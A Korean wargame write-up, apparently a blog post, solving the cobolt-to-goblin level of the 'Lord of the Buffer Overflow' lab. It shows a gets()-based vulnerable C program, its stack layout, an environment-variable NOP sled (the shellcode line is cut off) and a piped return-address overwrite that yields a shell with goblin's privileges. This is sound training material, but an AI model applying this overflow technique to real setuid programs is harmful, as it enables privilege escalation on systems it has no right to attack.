[3] cobolt -> goblin ( cat 명령어 )

2017. 11. 17. 13:17SystemHacking/LOB(BOF원정대)


cobolt / hacking exposed

[cobolt@localhost cobolt]$ /bin/bash2

[cobolt@localhost cobolt]$ SHELL=/bin/bash2


[ goblin.c ]

1
2
3
4
5
6
7
8
 
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}
 
cs


[ Stack 구조 ]

buffer          16byte

saved ebp    4byte

saved eip     RET


< 풀이 과정 >

이전 문제와는 다르게 인자가 아닌 고블린파일을 실행 한 뒤 gets함수를 통해 문자열을 입력받습니다

" cat " 을 이용한 오버플로우를 수행하도록 합시다


1> 환경변수에 쉘코드를 올린다

[cobolt@localhost cobolt]$ export tmp=$(python -c 'print "\x90" * 1000 + 


2> payload 작성

$(python -c 'print "A" * 20 + "&shellcode"') => AAAAA...\xbffffaaa

파이썬 명령어 print를 실행해서 출력하였고 catgrep 을 통해 고블린 파일에 입력값으로 넣어주는 원리


[cobolt@localhost cobolt]$ (python -c 'print "A" * 20 + "\xaa\xfa\xff\xbf"' ; cat ) | ./goblin                                    

AAAAAAAAAAAAAAAAAAAA▒▒▒▒

id

uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)

my-pass

euid = 503

hackers proof